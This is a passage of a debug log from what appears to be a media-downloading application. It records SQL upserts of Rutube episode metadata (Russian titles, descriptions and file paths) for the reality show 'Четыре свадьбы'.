source="media_items" db=4.0ms idle=36.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-04 14:30:17Z], 1] 14:36:17.538 [debug] QUERY OK source="media_items" db=11.3ms idle=38.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты побывают на торжествах друг друга. Вероника пригласит конкуренток в Сургут на свою «вызывающую» свадьбу. Елизавета из Казани подготовит для гостей своей свадьбы интерактивные зоны. У Кристины из Челябинска будет мероприятие с ярким дресс-кодом. А Яна из Воронежа позовёт соперниц на эко-свадьбу. Какие впечатления от торжеств останутся у девушек, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Эко-свадьба VS Современная классика", "b808ad70-2399-4b32-85a0-8b61fd1a8e36", "8ebafb0e53e9116ec57e17a91ace3dee", 6740, false, "https://rutube.ru/video/8ebafb0e53e9116ec57e17a91ace3dee/", 92, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e020400 - Четыре свадьбы: Эко-свадьба VS Современная классика.mp4", false, false, false, 1, [], 1, ~U[2025-02-04 14:30:17Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Четыре невесты побывают на торжествах друг друга. Вероника пригласит конкуренток в Сургут на свою «вызывающую» свадьбу. Елизавета из Казани подготовит для гостей своей свадьбы интерактивные зоны. У Кристины из Челябинска будет мероприятие с ярким дресс-кодом. А Яна из Воронежа позовёт соперниц на эко-свадьбу. Какие впечатления от торжеств останутся у девушек, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Эко-свадьба VS Современная классика", "8ebafb0e53e9116ec57e17a91ace3dee", 6740, false, "https://rutube.ru/video/8ebafb0e53e9116ec57e17a91ace3dee/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e020400 - Четыре свадьбы: Эко-свадьба VS Современная классика.mp4", false, 1, ~U[2025-02-04 14:30:17Z]] 14:36:17.553 [debug] QUERY OK source="sources" db=14.9ms queue=0.1ms idle=49.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.555 [debug] QUERY OK source="media_items" db=0.8ms idle=36.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-11 15:01:50Z], 1] 14:36:17.573 [debug] QUERY OK source="media_items" db=17.5ms idle=34.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В свадебном марафоне примут участие Полина из Москвы, Алина из Краснодара, Ралина из Казани и Екатерина из Санкт-Петербурга. Полина будет ждать гостей на своей свадьбе в стиле рустик. Алина попробует удивить соперниц готическо-вампирской свадьбой. Ралина организует для гостей своего мероприятия интерактив на велком-зоне. А фишкой торжества Екатерины станет свадебный аукцион. Кто из участниц победит в соревновании невест, увидим в программе «Четыре свадьбы».\n\nФилипп Киркоров выбирает гель для стирки Lamm для своего огромного гардероба – https://vk.cc/cIkbyX?erid=2SDnjcYK9B2", "Четыре свадьбы: Вампирская свадьба VS Свадьба в стиле рустик", "dfd20b8d-5001-4334-95c8-1dd8073d3a81", "9dcabe4fd4f51171ef0ea98aceb41dc7", 6887, false, "https://rutube.ru/video/9dcabe4fd4f51171ef0ea98aceb41dc7/", 93, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e021100 - Четыре свадьбы: Вампирская свадьба VS Свадьба в стиле рустик.mp4", false, false, false, 1, [], 1, ~U[2025-02-11 15:01:50Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "В свадебном марафоне примут участие Полина из Москвы, Алина из Краснодара, Ралина из Казани и Екатерина из Санкт-Петербурга. Полина будет ждать гостей на своей свадьбе в стиле рустик. Алина попробует удивить соперниц готическо-вампирской свадьбой. Ралина организует для гостей своего мероприятия интерактив на велком-зоне. А фишкой торжества Екатерины станет свадебный аукцион. Кто из участниц победит в соревновании невест, увидим в программе «Четыре свадьбы».\n\nФилипп Киркоров выбирает гель для стирки Lamm для своего огромного гардероба – https://vk.cc/cIkbyX?erid=2SDnjcYK9B2", "Четыре свадьбы: Вампирская свадьба VS Свадьба в стиле рустик", "9dcabe4fd4f51171ef0ea98aceb41dc7", 6887, false, "https://rutube.ru/video/9dcabe4fd4f51171ef0ea98aceb41dc7/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e021100 - Четыре свадьбы: Вампирская свадьба VS Свадьба в стиле рустик.mp4", false, 1, ~U[2025-02-11 15:01:50Z]] 14:36:17.577 [debug] QUERY OK source="sources" db=3.1ms queue=0.1ms idle=48.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.578 [debug] QUERY OK source="media_items" db=0.4ms idle=39.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-18 14:30:10Z], 1] 14:36:17.601 [debug] QUERY OK source="media_items" db=22.3ms queue=0.1ms idle=24.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят свадьбы друг друга. Участницы отправятся в Алатырь, чтобы побывать на молодёжной свадьбе Натальи. В Москве состоится современная свадьба с элементами бохо Ангелины. А в Санкт-Петербурге пройдёт торжество Ульяны, фишкой которого станет мастер-класс от невесты, и свадьба с красным дресс-кодом Ксении. Чьё мероприятие наберёт большее количество баллов, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Молодежная свадьба VS Свадьба в стиле бохо", "dde23b01-7361-4b68-82cc-bedfb7a0bdd2", "822354cf649e3a6e15b1f6f3f8ded9e1", 5659, false, "https://rutube.ru/video/822354cf649e3a6e15b1f6f3f8ded9e1/", 94, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e021800 - Четыре свадьбы: Молодежная свадьба VS Свадьба в стиле бохо.mp4", false, false, false, 1, [], 1, ~U[2025-02-18 14:30:10Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Четыре невесты оценят свадьбы друг друга. Участницы отправятся в Алатырь, чтобы побывать на молодёжной свадьбе Натальи. В Москве состоится современная свадьба с элементами бохо Ангелины. А в Санкт-Петербурге пройдёт торжество Ульяны, фишкой которого станет мастер-класс от невесты, и свадьба с красным дресс-кодом Ксении. Чьё мероприятие наберёт большее количество баллов, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Молодежная свадьба VS Свадьба в стиле бохо", "822354cf649e3a6e15b1f6f3f8ded9e1", 5659, false, "https://rutube.ru/video/822354cf649e3a6e15b1f6f3f8ded9e1/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e021800 - Четыре свадьбы: Молодежная свадьба VS Свадьба в стиле бохо.mp4", false, 1, ~U[2025-02-18 14:30:10Z]] 14:36:17.607 [debug] QUERY OK source="sources" db=5.8ms queue=0.1ms idle=46.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.609 [debug] QUERY OK source="media_items" db=1.3ms idle=34.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-25 15:00:12Z], 1] 14:36:17.634 [debug] QUERY OK source="media_items" db=23.4ms queue=0.1ms idle=32.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске участницы пригласят на свои свадьбы с бюджетом более 1,5 миллиона рублей. Девушки отправятся в Сочи на тропическую свадьбу Елены. В Новосибирске состоится свадьба в стиле «голливудский шик» Александры. Фишкой мероприятия Кристины из Самары станет бар с коктейлями от жениха. А Наталья из Томска удивит гостей своей свадьбы чёрными кольцами жениха и невесты. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в голливудском стиле VS Свадьба в стиле тропической вечеринки", "afa3376b-7fe3-4ff5-957a-b98227eb3d79", "b922409e4919ed0c4494f1ed261947a3", 7185, false, "https://rutube.ru/video/b922409e4919ed0c4494f1ed261947a3/", 95, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e022500 - Четыре свадьбы: Свадьба в голливудском стиле VS Свадьба в стиле тропической вечеринки.mp4", false, false, false, 1, [], 1, ~U[2025-02-25 15:00:12Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "В этом выпуске участницы пригласят на свои свадьбы с бюджетом более 1,5 миллиона рублей. Девушки отправятся в Сочи на тропическую свадьбу Елены. В Новосибирске состоится свадьба в стиле «голливудский шик» Александры. Фишкой мероприятия Кристины из Самары станет бар с коктейлями от жениха. А Наталья из Томска удивит гостей своей свадьбы чёрными кольцами жениха и невесты. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в голливудском стиле VS Свадьба в стиле тропической вечеринки", "b922409e4919ed0c4494f1ed261947a3", 7185, false, "https://rutube.ru/video/b922409e4919ed0c4494f1ed261947a3/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e022500 - Четыре свадьбы: Свадьба в голливудском стиле VS Свадьба в стиле тропической вечеринки.mp4", false, 1, ~U[2025-02-25 15:00:12Z]] 14:36:17.636 [debug] QUERY OK source="sources" db=1.7ms idle=56.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.637 [debug] QUERY OK source="media_items" db=0.4ms idle=35.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-04 14:30:07Z], 1] 14:36:17.665 [debug] QUERY OK source="media_items" db=27.2ms idle=29.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты приглашают на свои торжества. У Марии из Екатеринбурга будет молодёжная свадьба. Алиса из Санкт-Петербурга подготовит свадьбу в оттенках фуксии. Юлия из Самары выберет для своего мероприятия морской стиль. А свадьба Анастасии из Ульяновска пройдёт в классическом стиле. Чем девушки будут удивлять гостей на своих мероприятиях, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьба в морском стиле VS Молодежная свадьба", "2d9ccac9-53ef-49a7-887b-6c9a3e6e8e18", "0b8c9171a1fe5fb48a07e45a482983b0", 5295, false, "https://rutube.ru/video/0b8c9171a1fe5fb48a07e45a482983b0/", 96, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e030400 - Четыре свадьбы: Свадьба в морском стиле VS Молодежная свадьба.mp4", false, false, false, 1, [], 1, ~U[2025-03-04 14:30:07Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Четыре невесты приглашают на свои торжества. У Марии из Екатеринбурга будет молодёжная свадьба. Алиса из Санкт-Петербурга подготовит свадьбу в оттенках фуксии. Юлия из Самары выберет для своего мероприятия морской стиль. А свадьба Анастасии из Ульяновска пройдёт в классическом стиле. Чем девушки будут удивлять гостей на своих мероприятиях, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьба в морском стиле VS Молодежная свадьба", "0b8c9171a1fe5fb48a07e45a482983b0", 5295, false, "https://rutube.ru/video/0b8c9171a1fe5fb48a07e45a482983b0/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e030400 - Четыре свадьбы: Свадьба в морском стиле VS Молодежная свадьба.mp4", false, 1, ~U[2025-03-04 14:30:07Z]] 14:36:17.686 [debug] QUERY OK source="sources" db=20.3ms queue=0.1ms idle=55.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.687 [debug] QUERY OK source="media_items" db=0.7ms idle=52.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-11 14:40:10Z], 1] 14:36:17.701 [debug] QUERY OK source="media_items" db=13.5ms idle=51.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят свадьбы друг друга. Надежда из Ставрополя пригласит гостей на свадьбу в стиле русских традиций с караваем. Наталья из Ульяновска устроит свадьбу в классическом стиле. Свадьба Марии из Уфы пройдет в стиле современной классики. А Екатерина из Чехова удивит свадьбой в нежном стиле. Какие сюрпризы подготовили девушки, покажет программа «Четыре свадьбы».\n\nФилипп Киркоров выбирает гель для стирки Lamm для своего огромного гардероба – https://vk.cc/cJqzu7?erid=2SDnjdsgfXi", "Четыре свадьбы: Cвадьба в стиле русских традиций VS Современная классика", "5662c256-fd70-4f04-9350-445d7b664bce", "15373d98631718bdc9e5b41188f2bbcc", 5574, false, "https://rutube.ru/video/15373d98631718bdc9e5b41188f2bbcc/", 97, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e031100 - Четыре свадьбы: Cвадьба в стиле русских традиций VS Современная классика.mp4", false, false, false, 1, [], 1, ~U[2025-03-11 14:40:10Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Четыре невесты оценят свадьбы друг друга. Надежда из Ставрополя пригласит гостей на свадьбу в стиле русских традиций с караваем. Наталья из Ульяновска устроит свадьбу в классическом стиле. Свадьба Марии из Уфы пройдет в стиле современной классики. А Екатерина из Чехова удивит свадьбой в нежном стиле. Какие сюрпризы подготовили девушки, покажет программа «Четыре свадьбы».\n\nФилипп Киркоров выбирает гель для стирки Lamm для своего огромного гардероба – https://vk.cc/cJqzu7?erid=2SDnjdsgfXi", "Четыре свадьбы: Cвадьба в стиле русских традиций VS Современная классика", "15373d98631718bdc9e5b41188f2bbcc", 5574, false, "https://rutube.ru/video/15373d98631718bdc9e5b41188f2bbcc/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e031100 - Четыре свадьбы: Cвадьба в стиле русских традиций VS Современная классика.mp4", false, 1, ~U[2025-03-11 14:40:10Z]] 14:36:17.704 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=64.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.705 [debug] QUERY OK source="media_items" db=0.6ms idle=39.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-18 19:20:28Z], 1] 14:36:17.733 [debug] QUERY OK source="media_items" db=27.3ms idle=19.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят свадьбы друг друга. Свадьба Елены из Калининграда пройдет в рыцарском стиле в замке. Иделия из Казани пригласит всех на свадьбу в стиле тусовки. Фишкой свадьбы Анжелы из Уфы станет национальный колорит и танец на подносе. А невеста Ольга из Екатеринбурга сыграет на барабанах на собственной свадьбе. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле рок", "74067c93-f750-4673-86da-98cb343234d0", "d2e5cb39852ac4fe64d98be95b489d59", 5983, false, "https://rutube.ru/video/d2e5cb39852ac4fe64d98be95b489d59/", 98, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e031800 - Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле рок.mp4", false, false, false, 1, [], 1, ~U[2025-03-18 19:20:28Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Четыре невесты оценят свадьбы друг друга. Свадьба Елены из Калининграда пройдет в рыцарском стиле в замке. Иделия из Казани пригласит всех на свадьбу в стиле тусовки. Фишкой свадьбы Анжелы из Уфы станет национальный колорит и танец на подносе. А невеста Ольга из Екатеринбурга сыграет на барабанах на собственной свадьбе. Как пройдут торжества девушек, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле рок", "d2e5cb39852ac4fe64d98be95b489d59", 5983, false, "https://rutube.ru/video/d2e5cb39852ac4fe64d98be95b489d59/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e031800 - Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле рок.mp4", false, 1, ~U[2025-03-18 19:20:28Z]] 14:36:17.736 [debug] QUERY OK source="sources" db=2.6ms queue=0.1ms idle=46.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.737 [debug] QUERY OK source="media_items" db=0.4ms idle=35.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-25 18:00:13Z], 1] 14:36:17.763 [debug] QUERY OK source="media_items" db=25.1ms idle=34.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске оценивать свадьбы друг друга будут невесты и их женихи. Александр и Полина из Екатеринбурга пригласят гостей на свою современную свадьбу. Станислав и Эсфирь из Твери выберут для своего мероприятия готический стиль. Василий и Татьяна из Санкт-Петербурга решат выделиться тем, что будут в кроссовках на своей свадьбе. А у Александра и Екатерины из Санкт-Петербурга будет классическая свадьба с элементами драгметаллов. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в готическом стиле VS Современная классика", "0bb8f6f0-49d3-42fc-971d-509c25f4c95b", "47b9e510a2b68292bd24f0ad5c4ee789", 7344, false, "https://rutube.ru/video/47b9e510a2b68292bd24f0ad5c4ee789/", 99, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e032500 - Четыре свадьбы: Свадьба в готическом стиле VS Современная классика.mp4", false, false, false, 1, [], 1, ~U[2025-03-25 18:00:13Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "В этом выпуске оценивать свадьбы друг друга будут невесты и их женихи. Александр и Полина из Екатеринбурга пригласят гостей на свою современную свадьбу. Станислав и Эсфирь из Твери выберут для своего мероприятия готический стиль. Василий и Татьяна из Санкт-Петербурга решат выделиться тем, что будут в кроссовках на своей свадьбе. А у Александра и Екатерины из Санкт-Петербурга будет классическая свадьба с элементами драгметаллов. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в готическом стиле VS Современная классика", "47b9e510a2b68292bd24f0ad5c4ee789", 7344, false, "https://rutube.ru/video/47b9e510a2b68292bd24f0ad5c4ee789/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e032500 - Четыре свадьбы: Свадьба в готическом стиле VS Современная классика.mp4", false, 1, ~U[2025-03-25 18:00:13Z]] 14:36:17.765 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=58.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.766 [debug] QUERY OK source="media_items" db=0.8ms idle=32.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-01 17:30:07Z], 1] 14:36:17.796 [debug] QUERY OK source="media_items" db=28.2ms idle=30.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Невесты отправятся на мероприятия друг друга. В Краснодаре состоится классическая свадьба Карины, фишкой которой станет появление жениха. А в Санкт-Петербурге пройдут три свадьбы. У Жанны будет классическая свадьба с фуршетом во дворце. У Ольги – современная свадьба с отсутствием традиций. У Анны – свадьба в стиле элегантный минимализм с цыганскими танцами. Как участницы оценят торжества соперниц, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Молодежная классика VS Элегантный минимализм", "faab5926-9767-481c-812c-175925e37cef", "2bc37ac68c0dbf78670d5d0e1327a7f4", 5661, false, "https://rutube.ru/video/2bc37ac68c0dbf78670d5d0e1327a7f4/", 100, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e040100 - Четыре свадьбы: Молодежная классика VS Элегантный минимализм.mp4", false, false, false, 1, [], 1, ~U[2025-04-01 17:30:07Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Невесты отправятся на мероприятия друг друга. В Краснодаре состоится классическая свадьба Карины, фишкой которой станет появление жениха. А в Санкт-Петербурге пройдут три свадьбы. У Жанны будет классическая свадьба с фуршетом во дворце. У Ольги – современная свадьба с отсутствием традиций. У Анны – свадьба в стиле элегантный минимализм с цыганскими танцами. Как участницы оценят торжества соперниц, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Молодежная классика VS Элегантный минимализм", "2bc37ac68c0dbf78670d5d0e1327a7f4", 5661, false, "https://rutube.ru/video/2bc37ac68c0dbf78670d5d0e1327a7f4/", 